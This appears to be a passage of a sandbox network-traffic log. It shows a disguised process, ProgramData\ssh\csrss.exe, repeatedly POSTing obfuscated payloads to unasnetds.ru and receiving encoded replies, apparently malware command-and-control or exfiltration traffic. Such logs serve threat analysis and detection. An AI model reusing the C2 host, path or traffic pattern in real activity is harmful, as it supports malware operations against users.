Jan 3, 2025 11:48:30.815747976 CET	1040	OUT	Data Raw: 5f 52 5b 5f 5d 5c 50 5e 5a 5d 59 57 59 5d 5b 54 5f 51 54 5e 50 5f 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _R[_]\P^Z]YWY][T_QT^P_[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',,6R6(0 ;Z0,<)]+9&-.#&?<> \'%^.,
Jan 3, 2025 11:48:30.928714037 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:31.179646969 CET	798	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5WBFicocblJa8oIV%2BEZ2NlODbGJBXn3TfIFsPdw0eBU4iY9M7Ah8cyBtIqq6CtD1nCwBFGGIGV2CK3T0Vz%2Fj1tHujkPpmx5WunuVN5Ee10fw%2F4nML5tnq2nmdXTL9E0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ab90f85f78d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3340&min_rtt=1454&rtt_var=4319&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=88222&cwnd=117&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	51876	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:31.497325897 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	51877	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:31.743951082 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1740 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:32.096664906 CET	1740	OUT	Data Raw: 5a 57 5b 5f 5d 59 55 5d 5a 5d 59 57 59 5e 5b 51 5f 51 54 5a 50 5c 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW[_]YU]Z]YWY^[Q_QTZP\[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^',/U5/W433'X+\(;1_(:<&#W&,'<9=> \'%^.(
Jan 3, 2025 11:48:32.189683914 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:32.462810040 CET	957	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xe1Sn9W%2Fmz7%2FbmWmf%2BKU%2BU8LV8oX0NFWstg8qTtvUJOUCYcGB0hBJXhyl0FGJRMOicQG9reaft66dr8XN1iHkQhkwhp3Zi%2BMKyXpvQcjLflRpTvD%2BH%2BnZBQ%2B5z6sVk0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ac0ebec7cf3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3709&min_rtt=1988&rtt_var=4188&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2085&delivery_rate=92639&cwnd=217&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 22 03 20 07 2c 00 24 3a 27 1d 24 03 2d 51 21 37 32 14 39 39 26 06 24 3c 2c 0b 2a 5f 27 1e 24 2f 2d 1d 2a 5e 3d 14 26 3f 31 5b 27 39 2e 59 0d 11 38 14 2b 3c 2c 0f 3e 29 34 55 2a 3f 27 1b 27 02 27 06 2a 05 33 5b 3c 54 38 53 20 3f 17 19 3d 31 31 12 29 42 2e 02 2a 0b 33 11 25 35 2c 5e 0b 12 24 1f 2b 0f 25 55 20 22 21 5c 25 03 3b 5c 27 3a 23 1e 21 55 34 52 24 38 37 04 3b 54 35 50 26 37 06 12 3d 2b 38 5a 22 2b 22 1b 28 2d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98" ,$:'$-Q!7299&$<,_'$/-^=&?1['9.Y8+<,>)4U?'''3[<T8S ?=11)B.*3%5,^$+%U "!\%;\':#!U4R$87;T5P&7=+8Z"+"(-'P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	51878	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:31.863833904 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:32.221632957 CET	1040	OUT	Data Raw: 5f 51 5b 58 5d 5d 50 5c 5a 5d 59 57 59 57 5b 5a 5f 56 54 5c 50 5b 5b 5c 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q[X]]P\Z]YWYW[Z_VT\P[[\Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^':6V5];4?['=;Z()$31=-S4T1<(/:$ \'%^.
Jan 3, 2025 11:48:32.306469917 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:32.568011999 CET	805	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zXASiqG1kEFBpe%2BUwG41dYv48VFOjEowIQ%2BEPjvkcnYMhYsYGeENHoxVBAMJVixjM47%2B%2Bc4Be0hgMqR4GSCZeyVhZdynwPQV78uX%2Bs64%2FDZo1vdxPe4SevFpiFJVBk0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ac1a90f42dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2466&min_rtt=1615&rtt_var=2308&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=173314&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	51884	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:32.693802118 CET	321	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue
Jan 3, 2025 11:48:33.050120115 CET	1040	OUT	Data Raw: 5f 57 5b 50 58 5b 50 5c 5a 5d 59 57 59 5a 5b 51 5f 54 54 5b 50 5a 5b 57 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _W[PX[P\Z]YWYZ[Q_TT[PZ[WZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X96T68/S# ;X$.+;&(,1>.4?)'?8( \'%^.0
Jan 3, 2025 11:48:33.164438009 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:33.423753023 CET	794	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u%2FeRC2GPy1k5TCZI2ksGIfPIQy475BXTnP81wk4L0NzczD5XcFOedY0mWnMqLYJyKa7mMxCLwaRYx1PYYKoFdDWengQ1Q1oG7wsJEFh8yxfthoRNBuqHOjUPzVKEb3Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ac6fb364385-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3298&min_rtt=1573&rtt_var=4041&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1361&delivery_rate=94934&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	51890	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:33.549264908 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:34.016403913 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:34.057821035 CET	1040	OUT	Data Raw: 5a 57 5b 5c 5d 59 55 5a 5a 5d 59 57 59 5f 5b 54 5f 57 54 5c 50 5b 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZW[\]YUZZ]YWY_[T_WT\P[[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$X-!(#S! #^$=7Y?>)31%#%8+:*. \'%^.$
Jan 3, 2025 11:48:34.408215046 CET	796	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ocTDPUHLycFNj0l90sGHVTopiM%2Bpe1CDTRAPyAktU8SSB4VQEBexzeWxPijYmCLDYEeyQGOL1TM1UCK01YPOjmSFZv5mYQWT%2FF3Nf7zqWpKcQ3E7jbh8sXMM0ReJD0o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26acc58dd422d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4158&min_rtt=1735&rtt_var=5498&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=69112&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	51899	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:34.604041100 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:34.956414938 CET	1040	OUT	Data Raw: 5f 56 5e 5a 5d 5e 55 5b 5a 5d 59 57 59 5b 5b 50 5f 56 54 5b 50 5a 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _V^Z]^U[Z]YWY[[P_VT[PZ[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$[-<*!;87$/+;<;V294Y>Q1_+.]+> \'%^.4
Jan 3, 2025 11:48:35.066399097 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:35.314955950 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pJDFKmfHP0cgS6kxxdKFt6%2BI4wGqj1LfDryPB176TYMDcQkFmAyITsDKBoE1oEg0A1mNU2Krnd%2BKgNVQofzExONdhqOJvZhK00dnNLQX8vmEKw1Russz%2FJv%2BSc4Tntk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ad2eae7de93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3453&min_rtt=1446&rtt_var=4557&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=83390&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	51906	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:35.442322016 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:35.800255060 CET	1040	OUT	Data Raw: 5f 51 5b 59 5d 5e 50 5a 5a 5d 59 57 59 5d 5b 51 5f 50 54 5f 50 54 5b 56 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _Q[Y]^PZZ]YWY][Q_PT_PT[VZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^'9?63W +Z'(;!^+2= <>P2 X?\+> \'%^.,
Jan 3, 2025 11:48:35.899954081 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:36.068243027 CET	800	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jg4%2FQLT2SwU07yF3ISd1zAGhornlUk1QVut7Zl9Uwe%2BgaIY0XxcybgsiOFkAn18cTY4KH06tpBVf0saynbnEFZYLdz5NSBBTR%2FWyKMTQ5JKvKDl7%2FMXvqHltWEokyPQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ad81ff60f87-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4497&min_rtt=1466&rtt_var=6612&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=56773&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	51911	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:36.194798946 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:36.559684038 CET	1040	OUT	Data Raw: 5a 54 5b 58 5d 5b 55 5e 5a 5d 59 57 59 58 5b 5a 5f 54 54 5d 50 58 5b 58 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: ZT[X][U^Z]YWYX[Z_TT]PX[XZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^':.5;0#U?X$3X?+=+:/& /% Y=?&[+. \'%^.8
Jan 3, 2025 11:48:36.657533884 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:36.833072901 CET	803	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OY0a1fEiAvj7OoKxGS9BwPzCOEhBzuvJzdnLf%2FguBwMD%2B%2BQMrWh9drN3ldQiasHuAW%2B4jMyqq9gEcd5bXGYsxyPXZwbkGnuxlnBvPHvKGM%2FHtF70yRgGz6aGmA50WyA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26adcd9aa430e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7792&min_rtt=1532&rtt_var=13095&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1385&delivery_rate=28286&cwnd=185&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3e 55 58 55 0d 0a 30 0d 0a 0d 0a Data Ascii: 4>UXU0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	51918	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:37.086827993 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:37.442863941 CET	1040	OUT	Data Raw: 5a 5c 5e 5a 5d 58 55 51 5a 5d 59 57 59 59 5b 53 5f 52 54 58 50 59 5b 5a 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: Z\^Z]XUQZ]YWYY[S_RTXPY[ZZ]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$\,?""#S7^$X;X?%^+9;Q2>.7W%/X<<)= \'%^.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	51920	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:37.484075069 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1720 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 11:48:37.831705093 CET	1720	OUT	Data Raw: 5f 52 5e 59 58 5c 50 5c 5a 5d 59 57 59 5e 5b 52 5f 56 54 59 50 58 5b 5f 5a 5d 5d 51 54 58 59 5f 59 5e 52 5c 57 59 57 5a 58 5d 5b 5e 5b 5e 54 5f 5b 5d 42 5a 44 59 55 5c 57 58 53 54 57 5e 5a 47 5f 59 42 5d 54 5a 51 5e 42 53 5f 55 5d 5e 46 54 51 54 Data Ascii: _R^YX\P\Z]YWY^[R_VTYPX[_Z]]QTXY_Y^R\WYWZX][^[^T_[]BZDYU\WXSTW^ZG_YB]TZQ^BS_U]^FTQTWQRA^XRPU[[RS]]\[TPP^S[QCZXZA[__UT\TVWYY^\QP_P^V[_T^ZX^Y]QVXXUVZT_P]U[FXDZVIPVYV]UW\UQP^^^VRU\_Z]Y\XU^$,?"!+$#'^$3\+89]**,%-S49%<X(/==> \'%^.$
Jan 3, 2025 11:48:37.947349072 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 11:48:38.122292042 CET	944	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 10:48:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PxjPSRtfrOZHCYxVJ3qFA4vRttpdNowbUnmKzEZz9rEjXGqVPvnymoFgTzlbESh3D9hOYuznYNROQC8wIzla22Bbmxk0zdRogAeiOYOa%2FiEsuzSZcEKILtSCgqK6VjI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc26ae4ec6b3350-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3409&min_rtt=2166&rtt_var=3300&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2065&delivery_rate=120491&cwnd=172&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0c 1d 21 12 20 2e 0e 00 24 17 3b 10 33 03 39 56 36 37 26 5f 39 07 2a 07 24 02 3f 56 29 39 01 55 30 01 31 12 29 16 31 1b 32 5a 32 02 27 39 2e 59 0d 11 38 16 3c 2c 37 13 3d 5f 2c 54 3d 06 20 40 26 3c 1d 07 2a 05 33 5c 3e 22 0a 55 37 3f 39 51 29 57 2d 54 3d 1a 21 5c 29 22 02 05 25 0f 2c 5e 0b 12 27 0c 2b 31 3e 0d 20 31 1c 07 31 2d 37 5c 26 29 3f 1f 22 23 02 18 33 38 38 5f 2f 32 2d 50 32 34 34 58 3d 01 24 5d 22 38 2e 57 3c 3d 27 50 2c 00 28 52 00 31 56 54 0d 0a 30 0d 0a 0d 0a Data Ascii: 98! .$;39V67&_9$?V)9U01)12Z2'9.Y8<,7=_,T= @&<3\>"U7?9Q)W-T=!\)"%,^'+1> 11-7\&)?"#388_/2-P244X=$]"8.W<='P,(R1VT0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	51921	188.114.97.3	80	7964	C:\ProgramData\ssh\csrss.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 11:48:37.652896881 CET	345	OUT	POST /eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: unasnetds.ru Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
